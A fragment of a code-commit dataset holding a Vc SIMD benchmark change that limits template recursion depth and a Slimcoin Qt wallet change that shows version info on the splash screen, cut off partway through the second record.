std::swap(defer_proj_init_,rhs.defer_proj_init_);\n std::swap(is_geographic_,rhs.is_geographic_);\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*{{{\n Copyright (C) 2013 Matthias Kretz <kretz@kde.org>\n\n Permission to use, copy, modify, and distribute this software\n and its documentation for any purpose and without fee is hereby\n granted, provided that the above copyright notice appear in all\n copies and that both that the copyright notice and this\n permission notice and warranty disclaimer appear in supporting\n documentation, and that the name of the author not be used in\n advertising or publicity pertaining to distribution of the\n software without specific, written prior permission.\n\n The author disclaim all warranties with regard to this\n software, including all implied warranties of merchantability\n and fitness. In no event shall the author be liable for any\n special, indirect or consequential damages or any damages\n whatsoever resulting from loss of use, data or profits, whether\n in an action of contract, negligence or other tortious action,\n arising out of or in connection with the use or performance of\n this software.\n\n}}}*\/\n\n#include <array>\n#include <memory>\n\n#include <Vc\/Vc>\n#include \"..\/tsc.h\"\n\nusing Vc::float_v;\n\n\/*\n * This example shows how an arbitrary problem scales depending on working-set size and FLOPs per\n * load\/store. Understanding this can help to create better implementations.\n *\/\n\n\/*\n * The Runner is a method to generate the different scenarios with all parameters to the Work\n * available as constant expressions.\n * The idea is to have the compiler able to optimize as much as possible so that the actual workload\n * alone is benchmarked.\n *\n * The Runner recursively calls operator() on the Work template class with varying arguments for N\n * and FLOPs.\n *\/\ntemplate<template<std::size_t N, std::size_t M, int, int> class Work, std::size_t N = 256, std::size_t M = 4, int FLOPs = 2> struct Runner\n{\n static void run() {\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), FLOPs>()();\n Runner<Work, N, M, int(FLOPs * 1.5)>::run();\n }\n};\n\ntemplate<template<std::size_t N, std::size_t M, int, int> class Work, std::size_t N, std::size_t M> struct Runner<Work, N, M, 211>\n{\n static void run() {\n Runner<Work, N * 2, M>::run();\n }\n};\ntemplate<template<std::size_t N, std::size_t M, int, int> class Work, std::size_t M, int FLOPs> struct Runner<Work, 256 * 1024 * 1024, M, FLOPs>\n{\n static void run() {\n }\n};\n\n\/*\n * The Flops helper struct generates code that executes FLOPs many floating-point SIMD instructions\n * (add, sub, and mul)\n *\/\ntemplate<int FLOPs> struct Flops\n{\n inline float_v operator()(float_v a, float_v b, float_v c)\n {\n typedef Flops<(FLOPs - 5) \/ 2> F1;\n typedef Flops<(FLOPs - 4) \/ 2> F2;\n return F1()(a + b, a * b, c) + F2()(a * c, b + c, a);\n }\n};\n\ntemplate<> inline float_v Flops<2>::operator()(float_v a, float_v b, float_v c)\n{\n return a * b + c;\n}\ntemplate<> inline float_v Flops<3>::operator()(float_v a, float_v b, float_v c)\n{\n return a * b + (c - a);\n}\ntemplate<> inline float_v Flops<4>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + c) + a * c;\n}\ntemplate<> inline float_v Flops<5>::operator()(float_v a, float_v b, float_v c)\n{\n return a * b + (a + c) + a * c;\n}\ntemplate<> inline float_v Flops<6>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + (a + c)) + (a * c - b);\n}\ntemplate<> inline float_v Flops<7>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + (a + c)) + (a * c - (b + c));\n}\ntemplate<> inline float_v Flops<8>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + (a + c) + b) + (a * c - (b + c));\n}\n\n\/*\n * This is the benchmark code. It is called from Runner and uses Flops to do the work.\n *\/\ntemplate<std::size_t _N, std::size_t M, int Repetitions, int FLOPs>\nstruct ScaleWorkingSetSize\n{\n void operator()()\n {\n constexpr std::size_t N = _N \/ sizeof(float_v) + 3 * 16 \/ float_v::Size;\n typedef std::array<std::array<float_v, N>, M> Cont;\n auto data = Vc::make_unique<Cont, Vc::AlignOnPage>();\n for (auto &arr : *data) {\n for (auto &value : arr) {\n value = float_v::Random();\n }\n }\n\n TimeStampCounter tsc;\n double throughput = 0.;\n for (std::size_t i = 0; i < 2 + 512 \/ N; ++i) {\n tsc.start();\n \/\/ ------------- start of the benchmarked code ---------------\n for (int repetitions = 0; repetitions < Repetitions; ++repetitions) {\n for (std::size_t m = 0; m < M; ++m) {\n for (std::size_t n = 0; n < N; ++n) {\n (*data)[m][n] = Flops<FLOPs>()((*data)[(m + 1) % M][n],\n (*data)[(m + 2) % M][n],\n (*data)[(m + 3) % M][n]);\n }\n }\n }\n \/\/ -------------- end of the benchmarked code ----------------\n tsc.stop();\n\n throughput = std::max(throughput, (Repetitions * M * N * float_v::Size * FLOPs) \/ static_cast<double>(tsc.cycles()));\n }\n\n const long bytes = N * M * sizeof(float_v);\n printf(\"%10lu Byte | %4.2f FLOP\/Byte | %4.1f FLOP\/cycle\\n\", bytes, static_cast<double>(float_v::Size * FLOPs) \/ (4 * sizeof(float_v)), throughput\n );\n }\n};\n\nint Vc_CDECL main()\n{\n ScaleWorkingSetSize<256, 4, 10, 2>()();\n printf(\"%10s | %4s | %4s\\n\", \"Working-Set Size\", \"FLOPs per Byte\", \"Throughput (FLOPs\/Cycle)\");\n Runner<ScaleWorkingSetSize>::run();\n return 0;\n}\n<commit_msg>Examples: End recursion earlier to limit GCC memory consumption<commit_after>\/*{{{\n Copyright (C) 2013 Matthias Kretz <kretz@kde.org>\n\n Permission to use, copy, modify, and distribute this software\n and its documentation for any purpose and without fee is hereby\n granted, provided that the above copyright notice appear in all\n copies and that both that the copyright notice and this\n permission notice and warranty disclaimer appear in supporting\n documentation, and that the name of the author not be used in\n advertising or publicity pertaining to distribution of the\n software without specific, written prior permission.\n\n The author disclaim all warranties with regard to this\n software, including all implied warranties of merchantability\n and fitness. In no event shall the author be liable for any\n special, indirect or consequential damages or any damages\n whatsoever resulting from loss of use, data or profits, whether\n in an action of contract, negligence or other tortious action,\n arising out of or in connection with the use or performance of\n this software.\n\n}}}*\/\n\n#include <array>\n#include <memory>\n\n#include <Vc\/Vc>\n#include \"..\/tsc.h\"\n\nusing Vc::float_v;\n\n\/*\n * This example shows how an arbitrary problem scales depending on working-set size and FLOPs per\n * load\/store. Understanding this can help to create better implementations.\n *\/\n\n\/*\n * The Runner is a method to generate the different scenarios with all parameters to the Work\n * available as constant expressions.\n * The idea is to have the compiler able to optimize as much as possible so that the actual workload\n * alone is benchmarked.\n *\n * The Runner recursively calls operator() on the Work template class with varying arguments for N\n * and FLOPs.\n *\/\ntemplate<template<std::size_t N, std::size_t M, int, int> class Work, std::size_t N = 256, std::size_t M = 4> struct Runner\n{\n static void run() {\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 2>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 3>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 4>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 6>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 9>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 13>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 19>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 28>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 42>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 63>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 94>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 141>()();\n Work<N, M, (N > 4096 ? 1 : 4096 \/ N), 211>()();\n Runner<Work, N * 2, M>::run();\n }\n};\n\ntemplate <template <std::size_t N, std::size_t M, int, int> class Work, std::size_t M>\nstruct Runner<Work, 256 * 1024 * 32, \/\/ don't make this number larger, otherwise GCC6\n \/\/ blows up with Vc::Scalar to 10GB of memory usage\n M> {\n static void run() {\n }\n};\n\n\/*\n * The Flops helper struct generates code that executes FLOPs many floating-point SIMD instructions\n * (add, sub, and mul)\n *\/\ntemplate<int FLOPs> struct Flops\n{\n inline float_v operator()(float_v a, float_v b, float_v c)\n {\n typedef Flops<(FLOPs - 5) \/ 2> F1;\n typedef Flops<(FLOPs - 4) \/ 2> F2;\n return F1()(a + b, a * b, c) + F2()(a * c, b + c, a);\n }\n};\n\ntemplate<> inline float_v Flops<2>::operator()(float_v a, float_v b, float_v c)\n{\n return a * b + c;\n}\ntemplate<> inline float_v Flops<3>::operator()(float_v a, float_v b, float_v c)\n{\n return a * b + (c - a);\n}\ntemplate<> inline float_v Flops<4>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + c) + a * c;\n}\ntemplate<> inline float_v Flops<5>::operator()(float_v a, float_v b, float_v c)\n{\n return a * b + (a + c) + a * c;\n}\ntemplate<> inline float_v Flops<6>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + (a + c)) + (a * c - b);\n}\ntemplate<> inline float_v Flops<7>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + (a + c)) + (a * c - (b + c));\n}\ntemplate<> inline float_v Flops<8>::operator()(float_v a, float_v b, float_v c)\n{\n return (a * b + (a + c) + b) + (a * c - (b + c));\n}\n\n\/*\n * This is the benchmark code. It is called from Runner and uses Flops to do the work.\n *\/\ntemplate<std::size_t _N, std::size_t M, int Repetitions, int FLOPs>\nstruct ScaleWorkingSetSize\n{\n void operator()()\n {\n constexpr std::size_t N = _N \/ sizeof(float_v) + 3 * 16 \/ float_v::Size;\n typedef std::array<std::array<float_v, N>, M> Cont;\n auto data = Vc::make_unique<Cont, Vc::AlignOnPage>();\n for (auto &arr : *data) {\n for (auto &value : arr) {\n value = float_v::Random();\n }\n }\n\n TimeStampCounter tsc;\n double throughput = 0.;\n for (std::size_t i = 0; i < 2 + 512 \/ N; ++i) {\n tsc.start();\n \/\/ ------------- start of the benchmarked code ---------------\n for (int repetitions = 0; repetitions < Repetitions; ++repetitions) {\n for (std::size_t m = 0; m < M; ++m) {\n for (std::size_t n = 0; n < N; ++n) {\n (*data)[m][n] = Flops<FLOPs>()((*data)[(m + 1) % M][n],\n (*data)[(m + 2) % M][n],\n (*data)[(m + 3) % M][n]);\n }\n }\n }\n \/\/ -------------- end of the benchmarked code ----------------\n tsc.stop();\n\n throughput = std::max(throughput, (Repetitions * M * N * float_v::Size * FLOPs) \/ static_cast<double>(tsc.cycles()));\n }\n\n const long bytes = N * M * sizeof(float_v);\n printf(\"%10lu Byte | %4.2f FLOP\/Byte | %4.1f FLOP\/cycle\\n\", bytes, static_cast<double>(float_v::Size * FLOPs) \/ (4 * sizeof(float_v)), throughput\n );\n }\n};\n\nint Vc_CDECL main()\n{\n ScaleWorkingSetSize<256, 4, 10, 2>()();\n printf(\"%10s | %4s | %4s\\n\", \"Working-Set Size\", \"FLOPs per Byte\", \"Throughput (FLOPs\/Cycle)\");\n Runner<ScaleWorkingSetSize>::run();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * W.J. van der Laan 2011-2012\n * The SLIMCoin Developers 2013\n *\/\n#include \"bitcoingui.h\"\n#include \"clientmodel.h\"\n#include \"walletmodel.h\"\n#include \"optionsmodel.h\"\n#include \"guiutil.h\"\n\n#include \"init.h\"\n#include \"ui_interface.h\"\n#include \"qtipcserver.h\"\n\n#include <QApplication>\n#include <QMessageBox>\n#if QT_VERSION < 0x050000\n #include <QTextCodec>\n#endif\n#include <QLocale>\n#include <QTranslator>\n#include <QSplashScreen>\n#include <QLibraryInfo>\n\n#include <boost\/interprocess\/ipc\/message_queue.hpp>\n\n#if defined(BITCOIN_NEED_QT_PLUGINS) && !defined(_BITCOIN_QT_PLUGINS_INCLUDED)\n#define _BITCOIN_QT_PLUGINS_INCLUDED\n#define __INSURE__\n#include <QtPlugin>\nQ_IMPORT_PLUGIN(qcncodecs)\nQ_IMPORT_PLUGIN(qjpcodecs)\nQ_IMPORT_PLUGIN(qtwcodecs)\nQ_IMPORT_PLUGIN(qkrcodecs)\nQ_IMPORT_PLUGIN(qtaccessiblewidgets)\n#endif\n\n\/\/ Need a global reference for the notifications to find the GUI\nstatic BitcoinGUI *guiref;\nstatic QSplashScreen *splashref;\nstatic WalletModel *walletmodel;\nstatic ClientModel *clientmodel;\n\nint ThreadSafeMessageBox(const std::string& message, const std::string& caption, int style)\n{\n \/\/ Message from network thread\n if(guiref)\n {\n bool modal = (style & wxMODAL);\n \/\/ in case of modal message, use blocking connection to wait for user to click OK\n QMetaObject::invokeMethod(guiref, \"error\",\n modal ? GUIUtil::blockingGUIThreadConnection() : Qt::QueuedConnection,\n Q_ARG(QString, QString::fromStdString(caption)),\n Q_ARG(QString, QString::fromStdString(message)),\n Q_ARG(bool, modal));\n }\n else\n {\n printf(\"%s: %s\\n\", caption.c_str(), message.c_str());\n fprintf(stderr, \"%s: %s\\n\", caption.c_str(), message.c_str());\n }\n return 4;\n}\n\nbool ThreadSafeAskFee(int64 nFeeRequired, const std::string& strCaption)\n{\n if(!guiref)\n return false;\n if(nFeeRequired < MIN_TX_FEE || nFeeRequired <= nTransactionFee || fDaemon)\n return true;\n bool payFee = false;\n\n QMetaObject::invokeMethod(guiref, \"askFee\", GUIUtil::blockingGUIThreadConnection(),\n Q_ARG(qint64, nFeeRequired),\n Q_ARG(bool*, &payFee));\n\n return payFee;\n}\n\nvoid ThreadSafeHandleURI(const std::string& strURI)\n{\n if(!guiref)\n return;\n\n QMetaObject::invokeMethod(guiref, \"handleURI\", GUIUtil::blockingGUIThreadConnection(),\n Q_ARG(QString, QString::fromStdString(strURI)));\n}\n\nvoid MainFrameRepaint()\n{\n if(clientmodel)\n QMetaObject::invokeMethod(clientmodel, \"update\", Qt::QueuedConnection);\n if(walletmodel)\n QMetaObject::invokeMethod(walletmodel, \"update\", Qt::QueuedConnection);\n}\n\nvoid AddressBookRepaint()\n{\n if(walletmodel)\n QMetaObject::invokeMethod(walletmodel, \"updateAddressList\", Qt::QueuedConnection);\n}\n\nvoid InitMessage(const std::string &message)\n{\n if(splashref)\n {\n \/\/the addition of the newline is there to bump the text up so it fully fits in the coin's picture\n splashref->showMessage(QString::fromStdString(message + \"\\n\"), Qt::AlignBottom | Qt::AlignHCenter, QColor(55,55,55));\n QApplication::instance()->processEvents();\n }\n}\n\nvoid QueueShutdown()\n{\n QMetaObject::invokeMethod(QCoreApplication::instance(), \"quit\", Qt::QueuedConnection);\n}\n\n\/*\n Translate string to current locale using Qt.\n*\/\nstd::string _(const char* psz)\n{\n return QCoreApplication::translate(\"bitcoin-core\", psz).toStdString();\n}\n\n\/* Handle runaway exceptions. Shows a message box with the problem and quits the program.\n *\/\nstatic void handleRunawayException(std::exception *e)\n{\n PrintExceptionContinue(e, \"Runaway exception\");\n QMessageBox::critical(0, \"Runaway exception\", BitcoinGUI::tr(\"A fatal error occured. Slimcoin can no longer continue safely and will quit.\") + QString(\"\\n\\n\") + QString::fromStdString(strMiscWarning));\n exit(1);\n}\n\n#ifdef WIN32\n#define strncasecmp strnicmp\n#endif\n#ifndef BITCOIN_QT_TEST\nint main(int argc, char *argv[])\n{\n#if !defined(MAC_OSX) && !defined(WIN32)\n\/\/ TODO: implement qtipcserver.cpp for Mac and Windows\n\n \/\/ Do this early as we don't want to bother initializing if we are just calling IPC\n for(int i = 1; i < argc; i++)\n {\n if(strlen(argv[i]) >= 8 && strncasecmp(argv[i], \"slimcoin:\", 9) == 0)\n {\n const char *strURI = argv[i];\n try {\n boost::interprocess::message_queue mq(boost::interprocess::open_only, BITCOINURI_QUEUE_NAME);\n if(mq.try_send(strURI, strlen(strURI), 0))\n exit(0);\n else\n break;\n }\n catch (boost::interprocess::interprocess_exception &ex) {\n break;\n }\n }\n }\n#endif\n\n Q_INIT_RESOURCE(bitcoin);\n QApplication app(argc, argv);\n\n \/\/ Command-line options take precedence:\n ParseParameters(argc, argv);\n\n \/\/ Basic Qt initialization (not dependent on parameters or configuration)\n#if QT_VERSION < 0x050000\n \/\/ Internal string conversion is all UTF-8\n QTextCodec::setCodecForTr(QTextCodec::codecForName(\"UTF-8\"));\n QTextCodec::setCodecForCStrings(QTextCodec::codecForTr());\n#endif\n\n#if QT_VERSION > 0x050100\n \/\/ Generate high-dpi pixmaps\n QApplication::setAttribute(Qt::AA_UseHighDpiPixmaps);\n#endif\n#if QT_VERSION >= 0x050600\n QGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling);\n#endif\n#ifdef MAC_OSX\n QApplication::setAttribute(Qt::AA_DontShowIconsInMenus);\n#endif\n\/* FIXME: refactor to Qt5.6+\n#if QT_VERSION >= 0x050500\n \/\/ Because of the POODLE attack it is recommended to disable SSLv3 (https:\/\/disablessl3.com\/),\n \/\/ so set SSL protocols to TLS1.0+.\n QSslConfiguration sslconf = QSslConfiguration::defaultConfiguration();\n sslconf.setProtocol(QSsl::TlsV1_0OrLater);\n QSslConfiguration::setDefaultConfiguration(sslconf);\n#endif\n*\/\n\n \/\/ TODO: Do not refer to data directory yet, this can be overridden by Intro::pickDataDirectory\n\n \/\/ ... then bitcoin.conf:\n if(!boost::filesystem::is_directory(GetDataDir(false)))\n {\n fprintf(stderr, \"Error: Specified directory does not exist\\n\");\n return 1;\n }\n ReadConfigFile(mapArgs, mapMultiArgs);\n\n \/\/ Application identification (must be set before OptionsModel is initialized,\n \/\/ as it is used to locate QSettings)\n app.setOrganizationName(\"Slimcoin\");\n app.setOrganizationDomain(\"slimcoin.org\");\n if(GetBoolArg(\"-testnet\")) \/\/ Separate UI settings for testnet\n app.setApplicationName(\"Slimcoin-Qt-testnet\");\n else\n app.setApplicationName(\"Slimcoin-Qt\");\n\n \/\/ ... then GUI settings:\n OptionsModel optionsModel;\n\n \/\/ Get desired locale (\"en_US\") from command line or system locale\n QString lang_territory = QString::fromStdString(GetArg(\"-lang\", QLocale::system().name().toStdString()));\n \/\/ Load language files for configured locale:\n \/\/ - First load the translator for the base language, without territory\n \/\/ - Then load the more specific locale translator\n QString lang = lang_territory;\n\n lang.truncate(lang_territory.lastIndexOf('_')); \/\/ \"en\"\n QTranslator qtTranslatorBase, qtTranslator, translatorBase, translator;\n\n qtTranslatorBase.load(QLibraryInfo::location(QLibraryInfo::TranslationsPath) + \"\/qt_\" + lang);\n if(!qtTranslatorBase.isEmpty())\n app.installTranslator(&qtTranslatorBase);\n\n qtTranslator.load(QLibraryInfo::location(QLibraryInfo::TranslationsPath) + \"\/qt_\" + lang_territory);\n if(!qtTranslator.isEmpty())\n app.installTranslator(&qtTranslator);\n\n translatorBase.load(\":\/translations\/\"+lang);\n if(!translatorBase.isEmpty())\n app.installTranslator(&translatorBase);\n\n translator.load(\":\/translations\/\"+lang_territory);\n if(!translator.isEmpty())\n app.installTranslator(&translator);\n\n QPixmap testnet_splash_pixmap = QPixmap(\":\/images\/splash_testnet\");\n QSplashScreen splash(QPixmap(\":\/images\/splash\"), 0);\n if(GetBoolArg(\"-splash\", true) && !GetBoolArg(\"-min\"))\n {\n if(GetBoolArg(\"-testnet\", false))\n splash.setPixmap(testnet_splash_pixmap);\n splash.show();\n splash.setAutoFillBackground(true);\n splashref = &splash;\n }\n\n app.processEvents();\n\n app.setQuitOnLastWindowClosed(false);\n\n try\n {\n BitcoinGUI window;\n guiref = &window;\n if(AppInit2(argc, argv))\n {\n {\n \/\/ Put this in a block, so that the Model objects are cleaned up before\n \/\/ calling Shutdown().\n\n optionsModel.Upgrade(); \/\/ Must be done after AppInit2\n\n if(splashref)\n splash.finish(&window);\n\n ClientModel clientModel(&optionsModel);\n clientmodel = &clientModel;\n WalletModel walletModel(pwalletMain, &optionsModel);\n walletmodel = &walletModel;\n\n window.setClientModel(&clientModel);\n window.setWalletModel(&walletModel);\n\n \/\/ If -min option passed, start window minimized.\n if(GetBoolArg(\"-min\"))\n {\n window.showMinimized();\n }\n else\n {\n window.show();\n }\n\n \/\/ Place this here as guiref has to be defined if we dont want to lose URIs\n ipcInit();\n\n#if !defined(MAC_OSX) && !defined(WIN32)\n\/\/ TODO: implement qtipcserver.cpp for Mac and Windows\n\n \/\/ Check for URI in argv\n for(int i = 1; i < argc; i++)\n {\n if(strlen(argv[i]) > 8 && strncasecmp(argv[i], \"slimcoin:\", 9) == 0)\n {\n const char *strURI = argv[i];\n try {\n boost::interprocess::message_queue mq(boost::interprocess::open_only, BITCOINURI_QUEUE_NAME);\n mq.try_send(strURI, strlen(strURI), 0);\n }\n catch (boost::interprocess::interprocess_exception &ex) {\n }\n }\n }\n#endif\n app.exec();\n\n window.hide();\n window.setClientModel(0);\n window.setWalletModel(0);\n guiref = 0;\n clientmodel = 0;\n walletmodel = 0;\n }\n \/\/ Shutdown the core and it's threads, but don't exit Bitcoin-Qt here\n Shutdown(NULL);\n }\n else\n {\n return 1;\n }\n } catch (std::exception& e) {\n handleRunawayException(&e);\n } catch (...) {\n handleRunawayException(NULL);\n }\n return 0;\n}\n#endif \/\/ BITCOIN_QT_TEST\n<commit_msg>show version info on splashscreen<commit_after>\/*\n * W.J. van der Laan 2011-2012\n * The SLIMCoin Developers 2013\n *\/\n#include \"bitcoingui.h\"\n#include \"clientmodel.h\"\n#include \"walletmodel.h\"\n#include \"optionsmodel.h\"\n#include \"guiutil.h\"\n#include \"util.h\"\n\n#include \"init.h\"\n#include \"ui_interface.h\"\n#include \"qtipcserver.h\"\n\n#include <QApplication>\n#include <QMessageBox>\n#if QT_VERSION < 0x050000\n #include <QTextCodec>\n#endif\n#include <QLocale>\n#include <QTranslator>\n#include <QSplashScreen>\n#include <QLibraryInfo>\n\n#include <boost\/interprocess\/ipc\/message_queue.hpp>\n\n#if defined(BITCOIN_NEED_QT_PLUGINS) && !defined(_BITCOIN_QT_PLUGINS_INCLUDED)\n#define _BITCOIN_QT_PLUGINS_INCLUDED\n#define __INSURE__\n#include <QtPlugin>\nQ_IMPORT_PLUGIN(qcncodecs)\nQ_IMPORT_PLUGIN(qjpcodecs)\nQ_IMPORT_PLUGIN(qtwcodecs)\nQ_IMPORT_PLUGIN(qkrcodecs)\nQ_IMPORT_PLUGIN(qtaccessiblewidgets)\n#endif\n\n\/\/ Need a global reference for the notifications to find the GUI\nstatic BitcoinGUI *guiref;\nstatic QSplashScreen *splashref;\nstatic WalletModel *walletmodel;\nstatic ClientModel *clientmodel;\n\nint ThreadSafeMessageBox(const std::string& message, const std::string& caption, int style)\n{\n \/\/ Message from network thread\n if(guiref)\n {\n bool modal = (style & wxMODAL);\n \/\/ in case of modal message, use blocking connection to wait for user to click OK\n QMetaObject::invokeMethod(guiref, \"error\",\n modal ? GUIUtil::blockingGUIThreadConnection() : Qt::QueuedConnection,\n Q_ARG(QString, QString::fromStdString(caption)),\n Q_ARG(QString, QString::fromStdString(message)),\n Q_ARG(bool, modal));\n }\n else\n {\n printf(\"%s: %s\\n\", caption.c_str(), message.c_str());\n fprintf(stderr, \"%s: %s\\n\", caption.c_str(), message.c_str());\n }\n return 4;\n}\n\nbool ThreadSafeAskFee(int64 nFeeRequired, const std::string& strCaption)\n{\n if(!guiref)\n return false;\n if(nFeeRequired < MIN_TX_FEE || nFeeRequired <= nTransactionFee || fDaemon)\n return true;\n bool payFee = false;\n\n QMetaObject::invokeMethod(guiref, \"askFee\", GUIUtil::blockingGUIThreadConnection(),\n Q_ARG(qint64, nFeeRequired),\n Q_ARG(bool*, &payFee));\n\n return payFee;\n}\n\nvoid ThreadSafeHandleURI(const std::string& strURI)\n{\n if(!guiref)\n return;\n\n QMetaObject::invokeMethod(guiref, \"handleURI\", GUIUtil::blockingGUIThreadConnection(),\n Q_ARG(QString, QString::fromStdString(strURI)));\n}\n\nvoid MainFrameRepaint()\n{\n if(clientmodel)\n QMetaObject::invokeMethod(clientmodel, \"update\", Qt::QueuedConnection);\n if(walletmodel)\n QMetaObject::invokeMethod(walletmodel, \"update\", Qt::QueuedConnection);\n}\n\nvoid AddressBookRepaint()\n{\n if(walletmodel)\n QMetaObject::invokeMethod(walletmodel, \"updateAddressList\", Qt::QueuedConnection);\n}\n\nvoid InitMessage(const std::string &message)\n{\n if(splashref)\n {\n \/\/the addition of the newline is there to bump the text up so it fully fits in the coin's picture\n \/\/ splashref->showMessage(QString::fromStdString(message + \"\\n\"), Qt::AlignBottom | Qt::AlignHCenter, QColor(55,55,55));\n splashref->showMessage(QString::fromStdString(message+\"\\n\\n\") + QString::fromStdString(FormatFullVersion().c_str()), Qt::AlignBottom|Qt::AlignHCenter, QColor(55,55,55));\n QApplication::instance()->processEvents();\n\n }\n}\n\nvoid QueueShutdown()\n{\n QMetaObject::invokeMethod(QCoreApplication::instance(), \"quit\", Qt::QueuedConnection);\n}\n\n\/*\n Translate string to current locale using Qt.\n*\/\nstd::string _(const char* psz)\n{\n return QCoreApplication::translate(\"bitcoin-core\", psz).toStdString();\n}\n\n\/* Handle runaway exceptions. Shows a message box with the problem and quits the program.\n *\/\nstatic void handleRunawayException(std::exception *e)\n{\n PrintExceptionContinue(e, \"Runaway exception\");\n QMessageBox::critical(0, \"Runaway exception\", BitcoinGUI::tr(\"A fatal error occured. Slimcoin can no longer continue safely and will quit.\") + QString(\"\\n\\n\") + QString::fromStdString(strMiscWarning));\n exit(1);\n}\n\n#ifdef WIN32\n#define strncasecmp strnicmp\n#endif\n#ifndef BITCOIN_QT_TEST\nint main(int argc, char *argv[])\n{\n#if !defined(MAC_OSX) && !defined(WIN32)\n\/\/ TODO: implement qtipcserver.cpp for Mac and Windows\n\n \/\/ Do this early as we don't want to bother initializing if we are just calling IPC\n for(int i = 1; i < argc; i++)\n {\n if(strlen(argv[i]) >= 8 && strncasecmp(argv[i], \"slimcoin:\", 9) == 0)\n {\n const char *strURI = argv[i];\n try {\n boost::interprocess::message_queue mq(boost::interprocess::open_only, BITCOINURI_QUEUE_NAME);\n if(mq.try_send(strURI, strlen(strURI), 0))\n exit(0);\n else\n break;\n }\n catch (boost::interprocess::interprocess_exception &ex) {\n break;\n }\n }\n }\n#endif\n\n Q_INIT_RESOURCE(bitcoin);\n QApplication app(argc, argv);\n\n \/\/ Command-line options take precedence:\n ParseParameters(argc, argv);\n\n \/\/ Basic Qt initialization (not dependent on parameters or configuration)\n#if QT_VERSION < 0x050000\n \/\/ Internal string conversion is all UTF-8\n QTextCodec::setCodecForTr(QTextCodec::codecForName(\"UTF-8\"));\n QTextCodec::setCodecForCStrings(QTextCodec::codecForTr());\n#endif\n\n#if QT_VERSION > 0x050100\n \/\/ Generate high-dpi pixmaps\n QApplication::setAttribute(Qt::AA_UseHighDpiPixmaps);\n#endif\n#if QT_VERSION >= 0x050600\n QGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling);\n#endif\n#ifdef MAC_OSX\n QApplication::setAttribute(Qt::AA_DontShowIconsInMenus);\n#endif\n\/* FIXME: refactor to Qt5.6+\n#if QT_VERSION >= 0x050500\n \/\/ Because of the POODLE attack it is recommended to disable SSLv3 (https:\/\/disablessl3.com\/),\n \/\/ so set SSL protocols to TLS1.0+.\n QSslConfiguration sslconf = QSslConfiguration::defaultConfiguration();\n sslconf.setProtocol(QSsl::TlsV1_0OrLater);\n QSslConfiguration::setDefaultConfiguration(sslconf);\n#endif\n*\/\n\n \/\/ TODO: Do not refer to data directory yet, this can be overridden by Intro::pickDataDirectory\n\n \/\/ ... then bitcoin.conf:\n if(!boost::filesystem::is_directory(GetDataDir(false)))\n {\n fprintf(stderr, \"Error: Specified directory does not exist\\n\");\n return 1;\n }\n ReadConfigFile(mapArgs, mapMultiArgs);\n\n \/\/ Application identification (must be set before OptionsModel is initialized,\n \/\/ as it is used to locate QSettings)\n app.setOrganizationName(\"Slimcoin\");\n app.setOrganizationDomain(\"slimcoin.org\");\n if(GetBoolArg(\"-testnet\")) \/\/ Separate UI settings for testnet\n app.setApplicationName(\"Slimcoin-Qt-testnet\");\n else\n app.setApplicationName(\"Slimcoin-Qt\");\n\n \/\/ ... then GUI settings:\n OptionsModel optionsModel;\n\n \/\/ Get desired locale (\"en_US\") from command line or system locale\n QString lang_territory = QString::fromStdString(GetArg(\"-lang\", QLocale::system().name().toStdString()));\n \/\/ Load language files for configured locale:\n \/\/ - First load the translator for the base language, without territory\n \/\/ - Then load the more specific locale translator\n QString lang = lang_territory;\n\n lang.truncate(lang_territory.lastIndexOf('_')); \/\/ \"en\"\n QTranslator qtTranslatorBase, qtTranslator, translatorBase, translator;\n\n qtTranslatorBase.load(QLibraryInfo::location(QLibraryInfo::TranslationsPath) + \"\/qt_\" + lang);\n if(!qtTranslatorBase.isEmpty())\n app.installTranslator(&qtTranslatorBase);\n\n qtTranslator.load(QLibraryInfo::location(QLibraryInfo::TranslationsPath) + \"\/qt_\" + lang_territory);\n if(!qtTranslator.isEmpty())\n app.installTranslator(&qtTranslator);\n\n translatorBase.load(\":\/translations\/\"+lang);\n if(!translatorBase.isEmpty())\n app.installTranslator(&translatorBase);\n\n translator.load(\":\/translations\/\"+lang_territory);\n if(!translator.isEmpty())\n app.installTranslator(&translator);\n\n QPixmap testnet_splash_pixmap = QPixmap(\":\/images\/splash_testnet\");\n QSplashScreen splash(QPixmap(\":\/images\/splash\"), 0);\n if(GetBoolArg(\"-splash\", true) && !GetBoolArg(\"-min\"))\n {\n if(GetBoolArg(\"-testnet\", false))\n splash.setPixmap(testnet_splash_pixmap);\n splash.show();\n splash.setAutoFillBackground(true);\n splashref = &splash;\n }\n\n app.processEvents();\n\n app.setQuitOnLastWindowClosed(false);\n\n try\n {\n BitcoinGUI window;\n guiref = &window;\n if(AppInit2(argc, argv))\n {\n {\n \/\/ Put this in a block, so that the Model objects are cleaned up before\n \/\/ calling Shutdown().\n\n optionsModel.Upgrade(); \/\/ Must be done after AppInit2\n\n if(splashref)\n splash.finish(&window);\n\n ClientModel clientModel(&optionsModel);\n clientmodel = &clientModel;\n WalletModel walletModel(pwalletMain, &optionsModel);\n walletmodel = &walletModel;\n\n window.setClientModel(&clientModel);\n window.setWalletModel(&walletModel);\n\n \/\/ If -min option passed, start window minimized.\n 